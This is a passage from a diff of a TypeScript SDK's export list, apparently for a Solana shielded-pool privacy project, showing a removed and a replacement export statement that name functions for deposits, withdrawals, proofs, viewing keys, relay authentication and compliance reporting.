VARIABLE_FEE_DENOMINATOR, VARIABLE_FEE_NUMERATOR, VARIABLE_FEE_RATE, VERSION, type VerifyUtxosResult, type ViewKey, type ViewingKeyPair, type WalletAdapter, type WalletUtxo, type WithdrawOptions, type WithdrawRegularInputs, type WithdrawSubmissionResult, type WithdrawSwapInputs, areCircuitsAvailable, bigintToBytes32$1 as bigintToBytes32, bigintToHex, buildMerkleTree, buildMerkleTreeFromChain, buildMerkleTreeFromRelay, buildPublicInputsBytes, bytesToHex, calculateFee, calculateFeeBigint, calculateRelayFee, chainNoteFromBase64, chainNoteToBase64, classifyRelayError, cleanupStalePendingOperations, clearPendingDeposits, clearPendingWithdrawals, computeChainNoteHash, computeCommitment$1 as computeCommitment, computeExtDataHash, computeMerkleRoot, computeNullifier$1 as computeNullifier, computeNullifierAsync, computeNullifierSync, computeOutputsHash, computeOutputsHashAsync, computeOutputsHashSync, computeProofForLatestDeposit, computeProofFromChain, computeSignature, computeSwapOutputsHash, computeSwapOutputsHashAsync, computeSwapOutputsHashSync, computeCommitment as computeUtxoCommitment, computeNullifier as computeUtxoNullifier, copyNoteToClipboard, createCloakError, createDepositInstruction, createLogger, createUtxo, createZeroUtxo, decryptCompactChainNote, decryptComplianceMetadataWithMasterKey, decryptTransactionMetadata, deriveDiversifiedViewingKey, deriveDiversifier, derivePublicKey, deriveSpendKey, deriveUserCompliancePublicKey, deriveUserComplianceScalar, deriveUtxoKeypairFromSpendKey, deriveViewKey, deriveViewingKeyFromNk, deriveViewingKeyFromSpendKey, deriveViewingKeyFromUtxoPrivateKey, deserializeUtxo, detectNetworkFromRpcUrl, downloadNote, encodeNoteSimple, encryptCompactChainNote, encryptNoteForRecipient, encryptTransactionMetadata, encryptTransactionMetadataBundle, expandSpendKey, exportKeys, exportNote, exportWalletKeys, fetchCommitments, fetchRiskQuoteInstruction, fetchRiskQuoteIx, filterNotesByNetwork, filterWithdrawableNotes, findNoteByCommitment, formatAmount, formatComplianceCsv, formatErrorForLogging, formatSol, fullWithdraw, generateCloakKeys, generateCommitment, generateCommitmentAsync, generateMasterSeed, generateNote, generateNoteFromWallet, generateUtxoKeypair, generateViewingKeyPair, generateWithdrawRegularProof, generateWithdrawSwapProof, getAddressExplorerUrl, getCircuitsPath, getDefaultCircuitsPath, getDistributableAmount, getExplorerUrl, getNkFromUtxoPrivateKey, getNullifierPDA, getPendingOperationsSummary, getPublicKey, getPublicViewKey, getRecipientAmount, getRpcUrlForNetwork, getShieldPoolPDAs, getSwapStatePDA, getViewKey, hasPendingOperations, hexToBigint$1 as hexToBigint, hexToBytes, importKeys, importWalletKeys, isDebugEnabled, isRootNotFoundError, isValidHex, isValidRpcUrl, isValidSolanaAddress, isWithdrawAmountSufficient, isWithdrawable, keypairToAdapter, loadPendingDeposits, loadPendingWithdrawals, parseAmount, parseError, parseNote, parseRelayErrorResponse, parseTransactionError, partialWithdraw, poseidonHash, preflightCheck, preflightNullifiers, prepareEncryptedOutput, prepareEncryptedOutputForRecipient, proofToBytes, pubkeyToFieldElement, pubkeyToLimbs, randomBytes, randomFieldElement, readMerkleTreeState, registerViewingKey, removePendingDeposit, removePendingWithdrawal, savePendingDeposit, savePendingWithdrawal, scanNotesForWallet, scanTransactions, sdkLogger, selectUtxos, sendTransaction, serializeNote, serializeUtxo, setCircuitsPath, setDebugMode, signTransaction, splitTo2Limbs, sumUtxoAmounts, swapUtxo, swapWithChange, toComplianceReport, transact, transfer, truncate, tryDecryptNote, updateNoteWithDeposit, updatePendingDeposit, updatePendingWithdrawal, bigintToBytes32 as utxoBigintToBytes32, utxoEquals, hexToBigint as utxoHexToBigint, validateDepositParams, validateNote, validateOutputsSum, validateRoot, validateTransfers, validateWalletConnected, validateWithdrawableNote, verifyAllCircuits, verifyCircuitIntegrity, verifyUtxos, waitForRoot, withTiming };
+export { BUILD_ALLOWS_LOCAL_ENDPOINTS, type BuildRecipientDeliveryNotesParams, CHAIN_NOTE_SALT_BITS, CLOAK_PRODUCTION_RELAY_URL, CLOAK_PROGRAM_ID, type ChainNoteTxType, type CircuitVerificationResult, type CloakConfig, CloakError, type CloakKeyPair, type CloakNote, type CommitmentEntry, type CommitmentsResponse, type CompactChainNote, type ComplianceReport, type ComplianceTxType, type ConfirmSettlementParams, DEFAULT_CIRCUITS_URL, DEFAULT_TRANSACTION_CIRCUITS_URL, DELIVERY_MEMO_TAG, DELIVERY_REGISTRY_SEED, type DeliveredNote, type DepositInstructionParams, type DepositNoteSecrets, type DepositOptions, type DepositResult, type DepositStatus, type DiscoverSwapRefundsOptions, type DiscoveredSwapRefund, EXPECTED_CIRCUIT_HASHES, type EncryptedMetadataBundle, type EncryptedNote$1 as EncryptedNote, type ErrorCategory, type ExpandedSpendKey, type ExternalFeePayerAdapter, FIXED_FEE_LAMPORTS, type Groth16Proof, InsecureRandomnessError, LAMPORTS_PER_SOL, LocalStorageAdapter, type LogLevel, type Logger, MERKLE_TREE_HEIGHT, MIN_DEPOSIT_LAMPORTS, type MasterKey, type MatchDepositNoteParams, type MatchSwapRefundLeafParams, type MaxLengthArray, MemoryStorageAdapter, type MerkleProof, type MerkleRootResponse, MerkleTree, NATIVE_SOL_MINT, type Network, type NoteData, type OnchainMerkleProof, type ParsedDeliveryCarrier, type PendingDeposit, type PendingWithdrawal, RECIPIENT_DELIVERY_CIPHERTEXT_LEN, RECIPIENT_DELIVERY_EPHEMERAL_PK_LEN, RECIPIENT_DELIVERY_NONCE_LEN, RECIPIENT_DELIVERY_NOTE_BYTES, RECIPIENT_DELIVERY_PLAINTEXT_LEN, RECIPIENT_DELIVERY_TAG_LEN, RELAY_ORIGIN_ALLOWLIST, REQUEST_AUTH_MAX_AGE_SECONDS, REQUEST_AUTH_MAX_FUTURE_SKEW_SECONDS, type RecipientDeliveryNote, type RecoveredDepositNote, type RecoveredDepositNoteRecord, type RecoveredSwapRefund, type RelayAuthPreimage, type RelayAuthSigner, RelayInternalError, RelayService, type RelaySubmissionResult, type RiskQuoteInstructionResponse, RootNotFoundError, SCANNER_SUPPORTS_TRANSACT_SWAP, SIGN_IN_MESSAGE, SanctionsQuoteError, type ScanOptions, type ScanRecipientDeliveryOptions, type ScanResult, type ScanSummary, type ScannedTransaction, type SettlementConnection, type SettlementContext, type SettlementStatus, type SettlementVerdict, SettlementVerificationError, ShieldPoolErrors, type ShieldPoolPDAs, SimpleWallet, type SpendKey, type StorageAdapter, type SubmitTransactToRelayArgs, type SwapOptions, type SwapParams, type SwapRefundAuthorization, type SwapResult, TRANSACTION_CIRCUITS_VERSION, TRANSACT_AUTH_FIELDS, TRANSACT_SWAP_AUTH_FIELDS, type TransactOptions, type TransactParams, type TransactRequestBodyParams, type TransactResult, type TransactionMetadata, type Transfer, type TransferOptions, type TransferResult, type TxStatus, type UserFriendlyError, type Utxo, UtxoAlreadySpentError, type EncryptedNote as UtxoEncryptedNote, type UtxoKeypair, type UtxoSwapParams, type UtxoSwapResult, UtxoWallet, VARIABLE_FEE_DENOMINATOR, VARIABLE_FEE_NUMERATOR, VARIABLE_FEE_RATE, VERSION, type VerifyUtxosResult, type ViewKey, type ViewingKeyPair, type WalletAdapter, type WalletUtxo, type WithdrawOptions, type WithdrawSubmissionResult, assertDirectSubmissionLanded, assertTransactionCircuitIntegrity, bigintToBytes32$1 as bigintToBytes32, bigintToHex, buildMerkleTree, buildMerkleTreeFromChain, buildMerkleTreeFromRelay, buildRecipientDeliveryNotes, buildRelayAuthPreimage, buildTransactRequestBody, bytesToHex, calculateFee, calculateFeeBigint, calculateRelayFee, canRebuildMerkleTreeFromChain, canonicalJson, chainNoteFromBase64, chainNoteToBase64, classifyRelayError, cleanupStalePendingOperations, clearPendingDeposits, clearPendingWithdrawals, computeChainNoteHash, computeExtDataHash, computeMerkleRoot, computeProofForLatestDeposit, computeProofFromChain, computeSignature, computeSwapRefundCommitment, computeCommitment as computeUtxoCommitment, computeNullifier as computeUtxoNullifier, confirmTransactSettlement, copyNoteToClipboard, createCloakError, createDepositInstruction, createLogger, createRecoverableDepositUtxo, createUtxo, createZeroUtxo, decryptCompactChainNote, decryptComplianceMetadataWithMasterKey, decryptTransactionMetadata, deriveDepositNoteSecrets, deriveDiversifiedViewingKey, deriveDiversifier, deriveInputNullifierPdas, derivePublicKey, deriveSpendKey, deriveSwapRefundAuthorization, deriveUserCompliancePublicKey, deriveUserComplianceScalar, deriveUtxoKeypairFromSpendKey, deriveViewKey, deriveViewingKeyFromNk, deriveViewingKeyFromSpendKey, deriveViewingKeyFromUtxoPrivateKey, deserializeUtxo, detectNetworkFromRpcUrl, discoverSwapRefunds, downloadNote, encodeDeliveryCarrierMemo, encodeNoteSimple, encodeRecipientDeliveryNote, encryptCompactChainNote, encryptNoteForRecipient, encryptTransactionMetadata, encryptTransactionMetadataBundle, expandSpendKey, explainRelayAuthRejection, exportKeys, exportNote, exportWalletKeys, fetchCommitments, fetchRiskQuoteInstruction, fetchRiskQuoteIx, filterNotesByNetwork, filterWithdrawableNotes, findNoteByCommitment, formatAmount, formatComplianceCsv, formatErrorForLogging, formatSol, fullWithdraw, generateCloakKeys, generateCommitmentAsync, generateMasterSeed, generateNoteFromWallet, generateUtxoKeypair, generateViewingKeyPair, getAddressExplorerUrl, getChainNoteRegistryPDA, getCircuitsPath, getDeliveryRegistryPDA, getDistributableAmount, getExplorerUrl, getNkFromUtxoPrivateKey, getNullifierPDA, getPendingOperationsSummary, getPoolAuthorityConfigPDA, getPublicKey, getPublicViewKey, getRecipientAmount, getRpcUrlForNetwork, getShieldPoolPDAs, getSwapStatePDA, getViewKey, hasPendingOperations, hexToBigint$1 as hexToBigint, hexToBytes, importKeys, importWalletKeys, isBrowser, isBrowserLike, isDebugEnabled, isPlausibleSignature, isReactNative, isRootNotFoundError, isSubmissionOutcomeUnknownResponse, isValidHex, isValidRpcUrl, isValidSolanaAddress, isWithdrawAmountSufficient, isWithdrawable, keypairToAdapter, loadPendingDeposits, loadPendingWithdrawals, loadVerifiedCircuitArtifacts, matchDepositNote, matchSwapRefundLeaf, openRecipientDeliveryNote, parseAmount, parseDeliveryCarrierMemo, parseError, parseNote, parseRelayErrorResponse, parseRelayErrorSignature, parseTransactionError, partialWithdraw, poseidonHash, preflightCheck, preflightNullifiers, prepareEncryptedOutput, prepareEncryptedOutputForRecipient, proofToBytes, pubkeyToFieldElement, pubkeyToLimbs, randomBytes, randomDepositNoteSalt, randomFieldElement, readMerkleTreeState, recipientDeliveryNoteToBase64, registerViewingKey, removePendingDeposit, removePendingWithdrawal, resolveCircuitsBase, savePendingDeposit, savePendingWithdrawal, scanNotesForWallet, scanRecipientDeliveryNotes, scanTransactions, sdkLogger, selectUtxos, sendTransaction, serializeNote, serializeUtxo, setCircuitsPath, setDebugMode, signTransaction, splitTo2Limbs, submitTransactToRelay, sumUtxoAmounts, swapUtxo, swapWithChange, toComplianceReport, transact, transfer, truncate, tryDecryptNote, updateNoteWithDeposit, updatePendingDeposit, updatePendingWithdrawal, bigintToBytes32 as utxoBigintToBytes32, utxoEquals, hexToBigint as utxoHexToBigint, validateDepositParams, validateNote, validateOutputsSum, validateRoot, validateTransfers, validateWalletConnected, validateWithdrawableNote, verifyAllCircuits, verifyCircuitIntegrity, verifyUtxos, waitForRoot, withTiming };